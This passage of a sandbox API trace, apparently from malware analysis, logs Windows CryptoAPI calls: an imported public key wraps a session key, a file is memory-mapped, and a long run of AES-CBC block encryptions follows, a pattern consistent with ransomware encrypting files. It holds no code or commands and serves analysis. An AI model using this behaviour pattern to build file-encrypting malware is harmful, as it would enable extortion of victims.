hProv=0x1668c58, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639868) returned 1 [0127.825] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0127.825] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.825] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0127.825] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.825] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0127.825] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668928) returned 1 [0127.826] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0127.826] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0127.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0127.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.826] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.827] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.828] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.829] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: 